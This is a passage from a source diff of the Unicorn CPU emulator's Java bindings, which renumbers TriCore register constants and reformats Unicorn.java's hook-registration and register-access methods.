88; - public static final int UC_TRICORE_REG_DBGSR = 89; - public static final int UC_TRICORE_REG_EXEVT = 90; - public static final int UC_TRICORE_REG_CREVT = 91; - public static final int UC_TRICORE_REG_SWEVT = 92; - public static final int UC_TRICORE_REG_TR0EVT = 93; - public static final int UC_TRICORE_REG_TR1EVT = 94; - public static final int UC_TRICORE_REG_DMS = 95; - public static final int UC_TRICORE_REG_DCX = 96; - public static final int UC_TRICORE_REG_DBGTCR = 97; - public static final int UC_TRICORE_REG_CCTRL = 98; - public static final int UC_TRICORE_REG_CCNT = 99; - public static final int UC_TRICORE_REG_ICNT = 100; - public static final int UC_TRICORE_REG_M1CNT = 101; - public static final int UC_TRICORE_REG_M2CNT = 102; - public static final int UC_TRICORE_REG_M3CNT = 103; - public static final int UC_TRICORE_REG_ENDING = 104; - public static final int UC_TRICORE_REG_GA0 = 1; - public static final int UC_TRICORE_REG_GA1 = 2; - public static final int UC_TRICORE_REG_GA8 = 9; - public static final int UC_TRICORE_REG_GA9 = 10; - public static final int UC_TRICORE_REG_SP = 11; - public static final int UC_TRICORE_REG_LR = 12; - public static final int UC_TRICORE_REG_IA = 16; - public static final int UC_TRICORE_REG_ID = 32; + public static final int UC_TRICORE_REG_INVALID = 0; + public static final int UC_TRICORE_REG_A0 = 1; + public static final int UC_TRICORE_REG_A1 = 2; + public static final int UC_TRICORE_REG_A2 = 3; + public static final int UC_TRICORE_REG_A3 = 4; + public static final int UC_TRICORE_REG_A4 = 5; + public static final int UC_TRICORE_REG_A5 = 6; + public static final int UC_TRICORE_REG_A6 = 7; + public static final int UC_TRICORE_REG_A7 = 8; + public static final int UC_TRICORE_REG_A8 = 9; + public static final int UC_TRICORE_REG_A9 = 10; + public static final int UC_TRICORE_REG_A10 = 11; + public static final int UC_TRICORE_REG_A11 = 12; + public static final int UC_TRICORE_REG_A12 = 13; + public static final int UC_TRICORE_REG_A13 = 14; + public static final int UC_TRICORE_REG_A14 = 15; + public static final int UC_TRICORE_REG_A15 = 16; + public static final int UC_TRICORE_REG_D0 = 17; + public static final int UC_TRICORE_REG_D1 = 18; + public static final int UC_TRICORE_REG_D2 = 19; + public static final int UC_TRICORE_REG_D3 = 20; + public static final int UC_TRICORE_REG_D4 = 21; + public static final int UC_TRICORE_REG_D5 = 22; + public static final int UC_TRICORE_REG_D6 = 23; + public static final int UC_TRICORE_REG_D7 = 24; + public static final int UC_TRICORE_REG_D8 = 25; + public static final int UC_TRICORE_REG_D9 = 26; + public static final int UC_TRICORE_REG_D10 = 27; + public static final int UC_TRICORE_REG_D11 = 28; + public static final int UC_TRICORE_REG_D12 = 29; + public static final int UC_TRICORE_REG_D13 = 30; + public static final int UC_TRICORE_REG_D14 = 31; + public static final int UC_TRICORE_REG_D15 = 32; + public static final int UC_TRICORE_REG_PCXI = 33; + public static final int UC_TRICORE_REG_PSW = 34; + public static final int UC_TRICORE_REG_PSW_USB_C = 35; + public static final int UC_TRICORE_REG_PSW_USB_V = 36; + public static final int UC_TRICORE_REG_PSW_USB_SV = 37; + public static final int UC_TRICORE_REG_PSW_USB_AV = 38; + public static final int UC_TRICORE_REG_PSW_USB_SAV = 39; + public static final int UC_TRICORE_REG_PC = 40; + public static final int UC_TRICORE_REG_SYSCON = 41; + public static final int UC_TRICORE_REG_CPU_ID = 42; + public static final int UC_TRICORE_REG_BIV = 43; + public static final int UC_TRICORE_REG_BTV = 44; + public static final int UC_TRICORE_REG_ISP = 45; + public static final int UC_TRICORE_REG_ICR = 46; + public static final int UC_TRICORE_REG_FCX = 47; + public static final int UC_TRICORE_REG_LCX = 48; + public static final int UC_TRICORE_REG_COMPAT = 49; + public static final int UC_TRICORE_REG_DPR0_U = 50; + public static final int UC_TRICORE_REG_DPR1_U = 51; + public static final int UC_TRICORE_REG_DPR2_U = 52; + public static final int UC_TRICORE_REG_DPR3_U = 53; + public static final int UC_TRICORE_REG_DPR0_L = 54; + public static final int UC_TRICORE_REG_DPR1_L = 55; + public static final int UC_TRICORE_REG_DPR2_L = 56; + public static final int UC_TRICORE_REG_DPR3_L = 57; + public static final int UC_TRICORE_REG_CPR0_U = 58; + public static final int UC_TRICORE_REG_CPR1_U = 59; + public static final int UC_TRICORE_REG_CPR2_U = 60; + public static final int UC_TRICORE_REG_CPR3_U = 61; + public static final int UC_TRICORE_REG_CPR0_L = 62; + public static final int UC_TRICORE_REG_CPR1_L = 63; + public static final int UC_TRICORE_REG_CPR2_L = 64; + public static final int UC_TRICORE_REG_CPR3_L = 65; + public static final int UC_TRICORE_REG_DPM0 = 66; + public static final int UC_TRICORE_REG_DPM1 = 67; + public static final int UC_TRICORE_REG_DPM2 = 68; + public static final int UC_TRICORE_REG_DPM3 = 69; + public static final int UC_TRICORE_REG_CPM0 = 70; + public static final int UC_TRICORE_REG_CPM1 = 71; + public static final int UC_TRICORE_REG_CPM2 = 72; + public static final int UC_TRICORE_REG_CPM3 = 73; + public static final int UC_TRICORE_REG_MMU_CON = 74; + public static final int UC_TRICORE_REG_MMU_ASI = 75; + public static final int UC_TRICORE_REG_MMU_TVA = 76; + public static final int UC_TRICORE_REG_MMU_TPA = 77; + public static final int UC_TRICORE_REG_MMU_TPX = 78; + public static final int UC_TRICORE_REG_MMU_TFA = 79; + public static final int UC_TRICORE_REG_BMACON = 80; + public static final int UC_TRICORE_REG_SMACON = 81; + public static final int UC_TRICORE_REG_DIEAR = 82; + public static final int UC_TRICORE_REG_DIETR = 83; + public static final int UC_TRICORE_REG_CCDIER = 84; + public static final int UC_TRICORE_REG_MIECON = 85; + public static final int UC_TRICORE_REG_PIEAR = 86; + public static final int UC_TRICORE_REG_PIETR = 87; + public static final int UC_TRICORE_REG_CCPIER = 88; + public static final int UC_TRICORE_REG_DBGSR = 89; + public static final int UC_TRICORE_REG_EXEVT = 90; + public static final int UC_TRICORE_REG_CREVT = 91; + public static final int UC_TRICORE_REG_SWEVT = 92; + public static final int UC_TRICORE_REG_TR0EVT = 93; + public static final int UC_TRICORE_REG_TR1EVT = 94; + public static final int UC_TRICORE_REG_DMS = 95; + public static final int UC_TRICORE_REG_DCX = 96; + public static final int UC_TRICORE_REG_DBGTCR = 97; + public static final int UC_TRICORE_REG_CCTRL = 98; + public static final int UC_TRICORE_REG_CCNT = 99; + public static final int UC_TRICORE_REG_ICNT = 100; + public static final int UC_TRICORE_REG_M1CNT = 101; + public static final int UC_TRICORE_REG_M2CNT = 102; + public static final int UC_TRICORE_REG_M3CNT = 103; + public static final int UC_TRICORE_REG_ENDING = 104; + public static final int UC_TRICORE_REG_GA0 = 1; + public static final int UC_TRICORE_REG_GA1 = 2; + public static final int UC_TRICORE_REG_GA8 = 9; + public static final int UC_TRICORE_REG_GA9 = 10; + public static final int UC_TRICORE_REG_SP = 11; + public static final int UC_TRICORE_REG_LR = 12; + public static final int UC_TRICORE_REG_IA = 16; + public static final int UC_TRICORE_REG_ID = 32; } diff --git a/bindings/java/unicorn/Unicorn.java b/bindings/java/unicorn/Unicorn.java index 7e8aee05..e1477a48 100644 --- a/bindings/java/unicorn/Unicorn.java +++ b/bindings/java/unicorn/Unicorn.java @@ -21,811 +21,902 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; -import java.util.*; +import java.util.ArrayList; +import java.util.Hashtable; -public class Unicorn implements UnicornConst, ArmConst, Arm64Const, M68kConst, SparcConst, MipsConst, X86Const { +public class Unicorn + implements UnicornConst, ArmConst, Arm64Const, M68kConst, SparcConst, + MipsConst, X86Const { - public long eng; - private int arch; - private int mode; + public long eng; + private int arch; + private int mode; - private long blockHandle = 0; - private long interruptHandle = 0; - private long codeHandle = 0; + private long blockHandle = 0; + private long interruptHandle = 0; + private long codeHandle = 0; - private Hashtable eventMemHandles = new Hashtable(); - private long readInvalidHandle = 0; - private long writeInvalidHandle = 0; - private long fetchProtHandle = 0; - private long readProtHandle = 0; - private long writeProtHandle = 0; + private Hashtable eventMemHandles = + new Hashtable(); + private long readInvalidHandle = 0; + private long writeInvalidHandle = 0; + private long fetchProtHandle = 0; + private long readProtHandle = 0; + private long writeProtHandle = 0; - private long readHandle = 0; - private long writeHandle = 0; - private long inHandle = 0; - private long outHandle = 0; - private long syscallHandle = 0; + private long readHandle = 0; + private long writeHandle = 0; + private long inHandle = 0; + private long outHandle = 0; + private long syscallHandle = 0; - private class Tuple { - public Hook function; - public Object data; - public Tuple(Hook f, Object d) { - function = f; - data = d; - } - } + private class Tuple { + public Hook function; + public Object data; - private ArrayList blockList = new ArrayList(); - private ArrayList intrList = new ArrayList(); - private ArrayList codeList = new ArrayList(); - private ArrayList readList = new ArrayList(); - private ArrayList writeList = new ArrayList(); - private ArrayList inList = new ArrayList(); - private ArrayList outList = new ArrayList(); - private ArrayList syscallList = new ArrayList(); + public Tuple(Hook f, Object d) { + function = f; + data = d; + } + } - private Hashtable > eventMemLists = new Hashtable >(); + private ArrayList blockList = new ArrayList(); + private ArrayList intrList = new ArrayList(); + private ArrayList codeList = new ArrayList(); + private ArrayList readList = new ArrayList(); + private ArrayList writeList = new ArrayList(); + private ArrayList inList = new ArrayList(); + private ArrayList outList = new ArrayList(); + private ArrayList syscallList = new ArrayList(); - private ArrayList> allLists = new ArrayList>(); + private Hashtable> eventMemLists = + new Hashtable>(); - private static Hashtable eventMemMap = new Hashtable(); - private static Hashtable unicorns = new Hashtable(); + private ArrayList> allLists = + new ArrayList>(); - //required to load native method implementations - static { - System.loadLibrary("unicorn_java"); //loads unicorn.dll or libunicorn.so - eventMemMap.put(UC_HOOK_MEM_READ_UNMAPPED, UC_MEM_READ_UNMAPPED); - eventMemMap.put(UC_HOOK_MEM_WRITE_UNMAPPED, UC_MEM_WRITE_UNMAPPED); - eventMemMap.put(UC_HOOK_MEM_FETCH_UNMAPPED, UC_MEM_FETCH_UNMAPPED); - eventMemMap.put(UC_HOOK_MEM_READ_PROT, UC_MEM_READ_PROT); - eventMemMap.put(UC_HOOK_MEM_WRITE_PROT, UC_MEM_WRITE_PROT); - eventMemMap.put(UC_HOOK_MEM_FETCH_PROT, UC_MEM_FETCH_PROT); - eventMemMap.put(UC_HOOK_MEM_READ, UC_MEM_READ); - eventMemMap.put(UC_HOOK_MEM_WRITE, UC_MEM_WRITE); - eventMemMap.put(UC_HOOK_MEM_FETCH, UC_MEM_FETCH); - eventMemMap.put(UC_HOOK_MEM_READ_AFTER, UC_MEM_READ_AFTER); - } + private static Hashtable eventMemMap = + new Hashtable(); + private static Hashtable unicorns = + new Hashtable(); -/** - * Invoke all UC_HOOK_BLOCK callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_BLOCK - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param address The address of the instruction being executed - * @param size The size of the basic block being executed - * @see hook_add, unicorn.BlockHook - */ + // required to load native method implementations + static { + System.loadLibrary("unicorn_java"); // loads unicorn.dll or libunicorn.so + eventMemMap.put(UC_HOOK_MEM_READ_UNMAPPED, UC_MEM_READ_UNMAPPED); + eventMemMap.put(UC_HOOK_MEM_WRITE_UNMAPPED, UC_MEM_WRITE_UNMAPPED); + eventMemMap.put(UC_HOOK_MEM_FETCH_UNMAPPED, UC_MEM_FETCH_UNMAPPED); + eventMemMap.put(UC_HOOK_MEM_READ_PROT, UC_MEM_READ_PROT); + eventMemMap.put(UC_HOOK_MEM_WRITE_PROT, UC_MEM_WRITE_PROT); + eventMemMap.put(UC_HOOK_MEM_FETCH_PROT, UC_MEM_FETCH_PROT); + eventMemMap.put(UC_HOOK_MEM_READ, UC_MEM_READ); + eventMemMap.put(UC_HOOK_MEM_WRITE, UC_MEM_WRITE); + eventMemMap.put(UC_HOOK_MEM_FETCH, UC_MEM_FETCH); + eventMemMap.put(UC_HOOK_MEM_READ_AFTER, UC_MEM_READ_AFTER); + } + + /** + * Invoke all UC_HOOK_BLOCK callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_BLOCK + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param address The address of the instruction being executed + * @param size The size of the basic block being executed + * @see hook_add, unicorn.BlockHook + */ private static void invokeBlockCallbacks(long eng, long address, int size) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.blockList) { - BlockHook bh = (BlockHook)p.function; - bh.hook(u, address, size, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_INTR callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_INTR - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param intno The interrupt number - * @see hook_add, unicorn.InterruptHook - */ - private static void invokeInterruptCallbacks(long eng, int intno) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.intrList) { - InterruptHook ih = (InterruptHook)p.function; - ih.hook(u, intno, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_CODE callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_CODE - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param address The address of the instruction being executed - * @param size The size of the instruction being executed - * @see hook_add, unicorn.CodeHook - */ - private static void invokeCodeCallbacks(long eng, long address, int size) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.codeList) { - CodeHook ch = (CodeHook)p.function; - ch.hook(u, address, size, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_MEM_XXX_UNMAPPED and/or UC_HOOK_MEM_XXX_PROT callbacks registered - * for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_MEM_XXX_UNMAPPED or UC_HOOK_MEM_XXX_PROT - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param type The type of event that is taking place - * @param address Address of instruction being executed - * @param size Size of data being read or written - * @param value Value of data being written to memory, or irrelevant if type = READ. - * @return true to continue, or false to stop program (due to invalid memory). - * @see hook_add, unicorn.EventMemHook - */ - private static boolean invokeEventMemCallbacks(long eng, int type, long address, int size, long value) { - Unicorn u = unicorns.get(eng); - boolean result = true; - if (u != null) { - ArrayList funcList = u.eventMemLists.get(type); - if (funcList != null) { - for (Tuple p : funcList) { - EventMemHook emh = (EventMemHook)p.function; - result &= emh.hook(u, address, size, value, p.data); + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.blockList) { + BlockHook bh = (BlockHook) p.function; + bh.hook(u, address, size, p.data); } - } - } - return result; - } + } + } -/** - * Invoke all UC_HOOK_MEM_READ callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_MEM_READ - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param address Address of instruction being executed - * @param size Size of data being read - * @see hook_add, unicorn.ReadHook - */ - private static void invokeReadCallbacks(long eng, long address, int size) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.readList) { - ReadHook rh = (ReadHook)p.function; - rh.hook(u, address, size, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_MEM_WRITE callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_MEM_WRITE - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param address Address of instruction being executed - * @param size Size of data being read - * @param value value being written - * @see hook_add, unicorn.WriteHook - */ - private static void invokeWriteCallbacks(long eng, long address, int size, long value) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.writeList) { - WriteHook wh = (WriteHook)p.function; - wh.hook(u, address, size, value, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. - * This is specifically for the x86 IN instruction. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_INSN - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param port I/O Port number - * @param size Data size (1/2/4) to be read from this port - * @return Data supplied from the input port - * @see hook_add, unicorn.InHook - */ - private static int invokeInCallbacks(long eng, int port, int size) { - Unicorn u = unicorns.get(eng); - int result = 0; - if (u != null) { - for (Tuple p : u.inList) { - InHook ih = (InHook)p.function; - result = ih.hook(u, port, size, p.data); - } - } - return result; - } - -/** - * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. - * This is specifically for the x86 OUT instruction. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_INSN - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param port I/O Port number - * @param size Data size (1/2/4) to be written to this port - * @see hook_add, unicorn.OutHook - */ - private static void invokeOutCallbacks(long eng, int port, int size, int value) { - Unicorn u = unicorns.get(eng); - int result = 0; - if (u != null) { - for (Tuple p : u.outList) { - OutHook oh = (OutHook)p.function; - oh.hook(u, port, size, value, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. - * This is specifically for the x86 SYSCALL and SYSENTER instruction. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_INSN - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @see hook_add, unicorn.SyscallHook - */ - private static void invokeSyscallCallbacks(long eng) { - Unicorn u = unicorns.get(eng); - int result = 0; - if (u != null) { - for (Tuple p : u.syscallList) { - SyscallHook sh = (SyscallHook)p.function; - sh.hook(u, p.data); - } - } - } - -/** - * Write to register. - * - * @param regid Register ID that is to be modified. - * @param value Number containing the new register value - */ - private native void reg_write_num(int regid, Number value) throws UnicornException; - -/** - * Write to register. - * - * @param regid Register ID that is to be modified. - * @param value X86 specific memory management register containing the new register value - */ - private native void reg_write_mmr(int regid, X86_MMR value) throws UnicornException; - -/** - * Read register value. - * - * @param regid Register ID that is to be retrieved. - * @return Number containing the requested register value. - */ - private native Number reg_read_num(int regid) throws UnicornException; - -/** - * Read register value. - * - * @param regid Register ID that is to be retrieved. - * @return X86_MMR containing the requested register value. - */ - private native Number reg_read_mmr(int regid) throws UnicornException; - -/** - * Native access to uc_open - * - * @param arch Architecture type (UC_ARCH_*) - * @param mode Hardware mode. This is combined of UC_MODE_* - */ - private native long open(int arch, int mode) throws UnicornException; - -/** - * Create a new Unicorn object - * - * @param arch Architecture type (UC_ARCH_*) - * @param mode Hardware mode. This is combined of UC_MODE_* - * @see unicorn.UnicornConst - * - */ - public Unicorn(int arch, int mode) throws UnicornException { - //remember these in case we need arch specific code - this.arch = arch; - this.mode = mode; - eng = open(arch, mode); - unicorns.put(eng, this); - allLists.add(blockList); - allLists.add(intrList); - allLists.add(codeList); - allLists.add(readList); - allLists.add(writeList); - allLists.add(inList); - allLists.add(outList); - allLists.add(syscallList); - } - -/** - * Perform native cleanup tasks associated with a Unicorn object - * - */ - protected void finalize() { - unicorns.remove(eng); - close(); - } - -/** - * Return combined API version & major and minor version numbers. - * - * @return hexadecimal number as (major << 8 | minor), which encodes both major & minor versions. - * - * For example Unicorn version 1.2 whould yield 0x0102 - */ - public native static int version(); - -/** - * Determine if the given architecture is supported by this library. - * - * @param arch Architecture type (UC_ARCH_*) - * @return true if this library supports the given arch. - * @see unicorn.UnicornConst - */ - public native static boolean arch_supported(int arch); - -/** - * Close the underlying uc_engine* eng associated with this Unicorn object - * - */ - public native void close() throws UnicornException; - -/** - * Query internal status of engine. - * - * @param type query type. See UC_QUERY_* - * @param result save the internal status queried - * - * @return: error code. see UC_ERR_* - * @see unicorn.UnicornConst - */ - public native int query(int type) throws UnicornException; - -/** - * Report the last error number when some API function fail. - * Like glibc's errno, uc_errno might not retain its old value once accessed. - * - * @return Error code of uc_err enum type (UC_ERR_*, see above) - * @see unicorn.UnicornConst - */ - public native int errno(); - -/** - * Return a string describing given error code. - * - * @param code Error code (see UC_ERR_* above) - * @return Returns a String that describes the error code - * @see unicorn.UnicornConst - */ - public native static String strerror(int code); - -/** - * Write to register. - * - * @deprecated use reg_write(int regid, Object value) instead - * @param regid Register ID that is to be modified. - * @param value Array containing value that will be written into register @regid - */ -@Deprecated - public native void reg_write(int regid, byte[] value) throws UnicornException; - -/** - * Write to register. - * - * @param regid Register ID that is to be modified. - * @param value Object containing the new register value. Long, BigInteger, or - * other custom class used to represent register values - */ - public void reg_write(int regid, Object value) throws UnicornException { - if (value instanceof Number) { - reg_write_num(regid, (Number)value); - } - else if (arch == UC_ARCH_X86 && value instanceof X86_MMR) { - if (regid >= UC_X86_REG_IDTR && regid <= UC_X86_REG_TR) { - reg_write_mmr(regid, (X86_MMR)value); - } - } - else { - throw new ClassCastException("Invalid value type"); - } - } - -/** - * Read register value. - * - * @deprecated use Object reg_read(int regid) instead - * @param regid Register ID that is to be retrieved. - * @param regsz Size of the register being retrieved. - * @return Byte array containing the requested register value. - */ -@Deprecated - public native byte[] reg_read(int regid, int regsz) throws UnicornException; - -/** - * Read register value. - * - * @param regid Register ID that is to be retrieved. - * @return Object containing the requested register value. Long, BigInteger, or - * other custom class used to represent register values - */ - public Object reg_read(int regid) throws UnicornException { - if (arch == UC_ARCH_X86 && regid >= UC_X86_REG_IDTR && regid <= UC_X86_REG_TR) { - return reg_read_mmr(regid); - } - else { - return reg_read_num(regid); - } - } - -/** - * Batch write register values. regids.length == vals.length or UC_ERR_ARG - * - * @param regids Array of register IDs to be written. - * @param vals Array of register values to be written. - */ - public void reg_write_batch(int regids[], Object vals[]) throws UnicornException { - if (regids.length != vals.length) { - throw new UnicornException(strerror(UC_ERR_ARG)); - } - for (int i = 0; i < regids.length; i++) { - reg_write(regids[i], vals[i]); - } - } - -/** - * Batch read register values. - * - * @param regids Array of register IDs to be read. - * @return Array containing the requested register values. - */ - public Object[] reg_read_batch(int regids[]) throws UnicornException { - Object[] vals = new Object[regids.length]; - for (int i = 0; i < regids.length; i++) { - vals[i] = reg_read(regids[i]); - } - return vals; - } - -/** - * Write to memory. - * - * @param address Start addres of the memory region to be written. - * @param bytes The values to be written into memory. bytes.length bytes will be written. - */ - public native void mem_write(long address, byte[] bytes) throws UnicornException; - -/** - * Read memory contents. - * - * @param address Start addres of the memory region to be read. - * @param size Number of bytes to be retrieved. - * @return Byte array containing the contents of the requested memory range. - */ - public native byte[] mem_read(long address, long size) throws UnicornException; - -/** - * Emulate machine code in a specific duration of time. - * - * @param begin Address where emulation starts - * @param until Address where emulation stops (i.e when this address is hit) - * @param timeout Duration to emulate the code (in microseconds). When this value is 0, we will emulate the code in infinite time, until the code is finished. - * @param count The number of instructions to be emulated. When this value is 0, we will emulate all the code available, until the code is finished. - */ - public native void emu_start(long begin, long until, long timeout, long count) throws UnicornException; - -/** - * Stop emulation (which was started by emu_start() ). - * This is typically called from callback functions registered via tracing APIs. - * NOTE: for now, this will stop the execution only after the current block. - */ - public native void emu_stop() throws UnicornException; - -/** - * Hook registration helper for hook types that require no additional arguments. - * - * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn object - * @param type UC_HOOK_* hook type - * @return Unicorn uch returned for registered hook function - */ - private native static long registerHook(long eng, int type); - -/** - * Hook registration helper for hook types that require one additional argument. - * - * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn object - * @param type UC_HOOK_* hook type - * @param arg1 Additional varargs argument - * @return Unicorn uch returned for registered hook function - */ - private native static long registerHook(long eng, int type, int arg1); - -/** - * Hook registration helper for hook types that require two additional arguments. - * - * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn object - * @param type UC_HOOK_* hook type - * @param arg1 First additional varargs argument - * @param arg2 Second additional varargs argument - * @return Unicorn uch returned for registered hook function - */ - private native static long registerHook(long eng, int type, long arg1, long arg2); - -/** - * Hook registration for UC_HOOK_BLOCK hooks. The registered callback function will be - * invoked when a basic block is entered and the address of the basic block (BB) falls in the - * range begin <= BB <= end. For the special case in which begin > end, the callback will be - * invoked whenver any basic block is entered. - * - * @param callback Implementation of a BlockHook interface - * @param begin Start address of hooking range - * @param end End address of hooking range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(BlockHook callback, long begin, long end, Object user_data) throws UnicornException { - if (blockHandle == 0) { - blockHandle = registerHook(eng, UC_HOOK_BLOCK, begin, end); - } - blockList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_INTR hooks. The registered callback function will be - * invoked whenever an interrupt instruction is executed. - * - * @param callback Implementation of a InterruptHook interface - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(InterruptHook callback, Object user_data) throws UnicornException { - if (interruptHandle == 0) { - interruptHandle = registerHook(eng, UC_HOOK_INTR); - } - intrList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_CODE hooks. The registered callback function will be - * invoked when an instruction is executed from the address range begin <= PC <= end. For - * the special case in which begin > end, the callback will be invoked for ALL instructions. - * - * @param callback Implementation of a CodeHook interface - * @param begin Start address of hooking range - * @param end End address of hooking range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(CodeHook callback, long begin, long end, Object user_data) throws UnicornException { - if (codeHandle == 0) { - codeHandle = registerHook(eng, UC_HOOK_CODE, begin, end); - } - codeList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_MEM_READ hooks. The registered callback function will be - * invoked whenever a memory read is performed within the address range begin <= read_addr <= end. For - * the special case in which begin > end, the callback will be invoked for ALL memory reads. - * - * @param callback Implementation of a ReadHook interface - * @param begin Start address of memory read range - * @param end End address of memory read range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(ReadHook callback, long begin, long end, Object user_data) throws UnicornException { - if (readHandle == 0) { - readHandle = registerHook(eng, UC_HOOK_MEM_READ, begin, end); - } - readList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_MEM_WRITE hooks. The registered callback function will be - * invoked whenever a memory write is performed within the address range begin <= write_addr <= end. For - * the special case in which begin > end, the callback will be invoked for ALL memory writes. - * - * @param callback Implementation of a WriteHook interface - * @param begin Start address of memory write range - * @param end End address of memory write range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(WriteHook callback, long begin, long end, Object user_data) throws UnicornException { - if (writeHandle == 0) { - writeHandle = registerHook(eng, UC_HOOK_MEM_WRITE, begin, end); - } - writeList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_MEM_WRITE | UC_HOOK_MEM_WRITE hooks. The registered callback function will be - * invoked whenever a memory write or read is performed within the address range begin <= addr <= end. For - * the special case in which begin > end, the callback will be invoked for ALL memory writes. - * - * @param callback Implementation of a MemHook interface - * @param begin Start address of memory range - * @param end End address of memory range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(MemHook callback, long begin, long end, Object user_data) throws UnicornException { - hook_add((ReadHook)callback, begin, end, user_data); - hook_add((WriteHook)callback, begin, end, user_data); - } - -/** - * Hook registration for UC_HOOK_MEM_XXX_UNMAPPED and UC_HOOK_MEM_XXX_PROT hooks. - * The registered callback function will be invoked whenever a read or write is - * attempted from an invalid or protected memory address. - * - * @param callback Implementation of a EventMemHook interface - * @param type Type of memory event being hooked such as UC_HOOK_MEM_READ_UNMAPPED or UC_HOOK_MEM_WRITE_PROT - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(EventMemHook callback, int type, Object user_data) throws UnicornException { - //test all of the EventMem related bits in type - for (Integer htype : eventMemMap.keySet()) { - if ((type & htype) != 0) { //the 'htype' bit is set in type - Long handle = eventMemHandles.get(htype); - if (handle == null) { - eventMemHandles.put(htype, registerHook(eng, htype)); + /** + * Invoke all UC_HOOK_INTR callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_INTR + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param intno The interrupt number + * @see hook_add, unicorn.InterruptHook + */ + private static void invokeInterruptCallbacks(long eng, int intno) { + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.intrList) { + InterruptHook ih = (InterruptHook) p.function; + ih.hook(u, intno, p.data); } - int cbType = eventMemMap.get(htype); - ArrayList flist = eventMemLists.get(cbType); - if (flist == null) { - flist = new ArrayList(); - allLists.add(flist); - eventMemLists.put(cbType, flist); + } + } + + /** + * Invoke all UC_HOOK_CODE callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_CODE + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param address The address of the instruction being executed + * @param size The size of the instruction being executed + * @see hook_add, unicorn.CodeHook + */ + private static void invokeCodeCallbacks(long eng, long address, int size) { + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.codeList) { + CodeHook ch = (CodeHook) p.function; + ch.hook(u, address, size, p.data); } - flist.add(new Tuple(callback, user_data)); - } - } - } + } + } -/** - * Hook registration for UC_HOOK_INSN hooks (x86 IN instruction only). The registered callback - * function will be invoked whenever an x86 IN instruction is executed. - * - * @param callback Implementation of a InHook interface - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(InHook callback, Object user_data) throws UnicornException { - if (inHandle == 0) { - inHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_IN); - } - inList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_INSN hooks (x86 OUT instruction only). The registered callback - * function will be invoked whenever an x86 OUT instruction is executed. - * - * @param callback Implementation of a OutHook interface - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(OutHook callback, Object user_data) throws UnicornException { - if (outHandle == 0) { - outHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_OUT); - } - outList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_INSN hooks (x86 SYSCALL/SYSENTER instruction only). The registered callback - * function will be invoked whenever an x86 SYSCALL or SYSENTER instruction is executed. - * - * @param callback Implementation of a SyscallHook interface - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(SyscallHook callback, Object 